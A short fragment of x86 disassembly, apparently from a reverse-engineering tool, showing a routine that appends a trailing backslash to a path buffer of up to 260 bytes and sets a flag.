inc ecx
test al, al
jne 0x401311
sub ecx, edx
mov al, byte [ecx + 0x4655c7]
cmp al, 0x5c
je 0x40133f
cmp al, 0x2f
je 0x40133f
mov byte [ecx + 0x4655c8], 0x5c
inc ecx
cmp ecx, 0x104
jae 0x40134c
mov byte [ecx + 0x4655c8], 0
mov byte [0x4656cc], 1
mov eax, 0x4655c8
ret
jmp fcn.0042aae2